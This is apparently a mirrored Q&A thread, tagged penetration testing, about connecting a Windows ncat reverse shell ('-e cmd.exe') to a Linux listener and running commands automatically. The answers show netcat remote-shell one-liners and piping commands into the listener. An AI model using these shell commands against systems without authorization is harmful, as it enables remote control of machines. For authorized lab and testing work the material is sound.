【问题标题】:Ncat connect and immediately execute command on WindowsNcat 连接并立即在 Windows 上执行命令
【发布时间】:2017-03-16 03:09:16
【问题描述】:

我正在尝试找出一种方法来从正在侦听的 Linux 机器打开 netcat 连接并立即在目标 Windows 机器上执行命令(例如 dir 或 ipconfig)。

类似的东西:

Linux 机器:

nc -lvp 4444; dir

Windows 机器:

ncat 192.168.1.25 4444 -e cmd.exe

我需要在与 Windows 机器建立连接后立即运行命令。

如果这可以通过 bash 脚本完成,那也很棒。我尝试编写脚本,但它在放入 Windows 命令 shell 后不会注册任何命令。

任何帮助或建议将不胜感激!谢谢。

【问题讨论】:

    标签: linux bash networking netcat penetration-testing


    【解决方案1】:

    https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/

    这可能会有所帮助。

    应该是:

    ##On the server. It opens the 
    ##listening machine's shell.
    ncat -lkv <port number> -c "sh"
    
    ##On the client. You type your commands on your terminal
    ##and the listening machine will be your target.
    ncat -v <listening server's IP> <port number>
    

    【讨论】:

      【解决方案2】:

      该命令应该在nc 的标准输入上,而不是在nc 完成后运行的本地命令。

      printf "dir\n" | nc -lvp 444
      

      另见Pass commands as input to another command (su, ssh, sh, etc)

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 2011-04-25
        • 1970-01-01
        • 2013-09-02
        • 1970-01-01
        • 2015-07-16
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多